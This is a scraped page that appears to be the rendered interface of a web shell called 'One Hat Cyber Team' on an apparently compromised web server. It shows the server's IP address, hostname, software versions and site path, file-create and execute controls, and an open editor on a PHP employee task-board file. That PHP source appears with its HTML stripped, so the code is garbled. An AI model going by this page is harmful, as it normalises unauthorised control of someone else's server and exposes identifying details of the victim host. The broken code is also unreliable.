⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
sd.electronharmony.com
/
Edit File: works1.php
' . $current_date_time . ' (' . $current_day_of_week . ')'; ?>
添加
Name
Employee
Start time
Task 1
Task 2
Task 3
Task 4
Task 5
End time
Date
Is it completed?
Edit
connect_error) { die("连接失败: " . $conn->connect_error); } // 查询数据 $sql = "SELECT * FROM works ORDER BY id DESC"; $result = $conn->query($sql); // 检查结果 if ($result->num_rows > 0) { // 输出数据 echo '
'; while($row = $result->fetch_assoc()) { echo '
'; echo '
' . $row["mname"] . '
'; //echo '
' . $row["rest"] . '
'; //echo '
' . $row["rest"] . '
'; // echo '
' . $row["rest"] . '
'; // echo '
' . $row["rest"] . '
'; // 动态设置rest的样式 if ($row["rest"] == "上班") { echo '
' . $row["rest"] . '
'; } elseif ($row["rest"] == "休息") { echo '
' . $row["rest"] . '
'; } elseif ($row["rest"] == "请假") { echo '
' . $row["rest"] . '
'; } elseif ($row["rest"] == "旷工") { echo '
' . $row["rest"] . '
'; } else { echo '
' . $row["rest"] . '
'; } //echo '
' . $row["mname"] . '
'; echo '
' . $row["startt"] . '
'; echo '
' . $row["bs"] . '
'; echo '
' . $row["cs"] . '
'; echo '
' . $row["ds"] . '
'; echo '
' . $row["es"] . '
'; echo '
' . $row["fs"] . '
'; echo '
' . $row["endt"] . '
'; echo '
' . date("d/m/Y", strtotime($row["date"])) . '
'; //echo '
' . ($row["accomplish"] == 'Yes' ? 'Yes' : 'No') . '
'; if ($row["accomplish"] == "Yes") { echo '
Yes
'; } else { echo '
No
'; } echo '
'; echo '
'; } echo '
'; } else { echo "0 结果"; } // 关闭数据库连接 $conn->close(); ?>
Add Task
Edit Task
添加任务
Edit Board
姓名
休息日
上班
休息
请假
旷工
上班时间
任务1
任务2
任务3
任务4
任务5
下班时间
是否完成任务
Yes
No
提交
Delete the task?
If you delete the task it will be gone forever. Are you sure you want to proceed?
Delete
Simpan